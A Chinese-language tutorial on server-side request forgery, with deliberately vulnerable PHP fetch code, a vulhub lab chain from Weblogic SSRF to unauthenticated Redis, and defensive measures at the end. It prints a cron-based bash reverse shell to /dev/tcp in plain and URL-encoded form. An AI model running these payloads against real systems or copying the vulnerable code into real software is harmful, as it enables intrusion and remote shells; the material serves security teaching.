文章目录
服务端请求伪造
SSRF (Server-side Request Forgery,服务器端请求伪造)是一种攻击者发起的伪造由服务器端发起请求的一种攻击,也是常见web安全漏洞(缺陷或者风险)之一。
概述
互联网上的很多Web 应用提供了从其他服务器(也可以是本地)获取数据的功能。使用用户指定的URL,Web应用可以获取图片、文件资源(下载或读取)。如下图所示,百度提供识图功能。
用户可以从本地或者URL的方式获取图片资源,交给百度识图处理。如果提交的是URL地址,该应用就会通过URL寻找图片资源。如果Web应用开放了类似于百度识图这样的功能,并且对用户提供的URL和远端服务器返回的信息没有进行合适的验证或者过滤,就可能存在“请求伪造"的缺陷。
请求伪造,顾名思义就是攻击者伪造正常的请求,以达到攻击的目的,是常见的web安全漏洞之一。如果“请求伪造"发生在服务器端,那么这个漏洞就叫做“服务器端请求伪造",英文名字为Server-side Request Forgery,简称SSRF。
危害
- 端口扫描
- 内网Web 应用指纹识别
- 攻击内网Web 应用
- 读取本地文件
产生SSRF 漏洞的代码
在服务器端实现通过URL从服务器(外部或者内部)获取资源功能的方法有很多,此处使用PHP语言和curl扩展实现该功能。
通过phpinfo()函数查看对curl 扩展的支持,现在大部分wamp套件均支持curl扩展。
file_get_contents()函数
下面的代码使用file_get_contents函数从用户指定的url获取图片。然后把它用一个随即文件名保存在硬盘上,并展示给用户。
<?php
if(isset($_POST['url'])){
$content = file_get_contents($_POST['url']);//将信息保存为变量
$filename ='./images/'.rand().'.jpg';//文件格式及路径
file_put_contents($filename,$content);//将保存的信息保存成文件
echo $_POST['url'];
$img = "<img src=\"".$filename."\"/>";//设置img标签
}
echo $img;
curl_exec()函数
使用curl发送请求获取数据。
<?php
if(isset($_REQUEST['url'])){
$link = $_REQUEST['url'];
$filename = './curl/'.time().'.txt';//文件格式及路径
$curlobj =curl_init($link);//初始化对象
$fp = fopen($filename, "w");//打开文件以写的方式
curl_setopt($curlobj,CURLOPT_FILE,$fp);
curl_setopt($curlobj,CURLOPT_HEADER,0);
curl_setopt($curlobj,CURLOPT_FOLLOWLOCATION,TRUE);
curl_exec($curlobj);//获取信息
curl_close($curlobj);
fclose($fp);
$fp = fopen($filename,"r") ;
$result = fread($fp,filesize($filename));//读取文件
fclose($fp) ;
echo $result;
}
?>
<?php
if(isset($_POST['url'])){
$link = $_POST['url'];
$curlobj = curl_init($link);
curl_setopt($curlobj,CURLOPT_POST, 0);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, TRUE); //TRUE将curl_exec()获取的信息以字符串返回,而不是直接输出。
$result=curl_exec($curlobj);
curl_close($curlobj);
$filename='./curl/'.rand().'.txt';
file_put_contents($filename,$result);//将信息存储到文件中
echo $result;//输出读取到的信息
}
?>
利用
一般情况下将Web应用程序暴露在互联网可以通过Web浏览器进行访问。但是会将内网资源封闭起来,避免与外部交互。那么如果网站存在SSRF漏洞,利用SSRF进行内网资源访问。
访问正常的文件
端口扫描(扫描内网的机器)
读取系统本地文件
利用file协议可以读取任意的系统本地文件
内网Web 应用指纹识别
识别内网应用使用的框架,平台,模块以及cms可以为后续的渗透测试提供很多帮助。大多数web应用框架都有一些独特的文件和目录。通过这些文件可以识别出应用的类型,甚至详细的版本。根据这些信息就可以针对性的搜集漏洞进行攻击。
例如:可以通过访问下列文件来判断phpMyAdmin是否安装以及详细版本。
?url=http://localhost/phpmyadmin/README
攻击内网应用
内网的安全通常都很薄弱,溢出、弱口令等一般都是存在的。通过ssrf攻击,可以实现对内网的访问,从而可以攻击内网应用或者本地机器,获得shell,这里的应用包括服务、web应用等。
仅仅通过get方法可以攻击的web应用有很多,比如struts2命令执行等。
Weblogic 从SSRF 到redis 未授权访问到getShell
redis 未授权访问漏洞:就是不需要用户名和密码就可以访问数据库,任意读写文件,root权限
环境:vulhub中直接拉取环境,镜像比较大(好几个g),过程可能比较慢…
经过耐心的等待,我们终于搭建好了环境。
查看拉取的docker镜像:docker ps
进入镜像容器:docker exec -it containerID /bin/bash
查看crontab文件(因为实验需要改动,建议将这个文件备份一下)
通过所给的url访问Weblogic:
点击serch按钮,使用BP进行抓包:
将上面两个请求的应答发送到compare模块作比较:发现报错信息不同
再将url改为localhost:80和localhost:7001做测试:
然后通过猜的方式猜测内网的IP:
现实中可采用爆破的方式,这里是实验环境就可以直接查看IP:
猜出地址之后,可以根据错误信息的不同,探测内网端口:
利用redis 反弹Shell
redis有未授权访问漏洞,因此可以在不需要提供用户名的密码的情况下访问redis数据库。也就是说,我们可以通过SSRF访问内网的redis数据库,利用redis数据实现读写文件操作,将计划任务写进/etc/crontab文件,从而实现反弹shell。
redis命令:发送命令,将反弹Shell脚本写入/etc/corntab
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.0.102/1234 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
第一句话是反弹Shell的命令(反弹到对应的主机及端口),第二局设置文件的目录,第三局设置文件的名字,第四局将第一句命令保存在指定的文件中。
URL编码:
%0d%0a%0d%0aset%201%20%22%5Cn%5cn%5cn%5cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3e%26%20%2fdev%2ftcp%2f192.168.0.102%2f8888%200%3e%261%5cn%5cn%5cn%5cn%22%0d%0aconfig%20set%20dir%20%2fetc%2f%0d%0aconfig%20set%20dbfilename%20crontab%0d%0asave%0d%0a%0d%0a
开启端口监听:使用nc命令(Windows主机可从kali中拷贝nc.exe文件:usr/share/windows…目录下)监听端口
发送请求:将url编码复制到如下位置中:
等待端口响应:getShell
SSRF 漏洞挖掘
对外发起网络请求的地方都可能存在SSRF漏洞,列举图片加载下载,分享页面,在线翻译,未公开的api:从远程服务器请求资源,文件处理,编码处理,属性信息处理等。
防御
- 限制协议
仅允许http和https请求 - 限制IP
避免应用被用来获取内网数据,攻击内网 - 限制端口
限制请求的端口为http常用的端口,比如:80,443,8080,8090 - 过滤返回信息
验证远程服务器对请求的响应是比较简单的方法 - 统一错误信息
避免用户可以根据错误信息来判断远程服务器的端口状态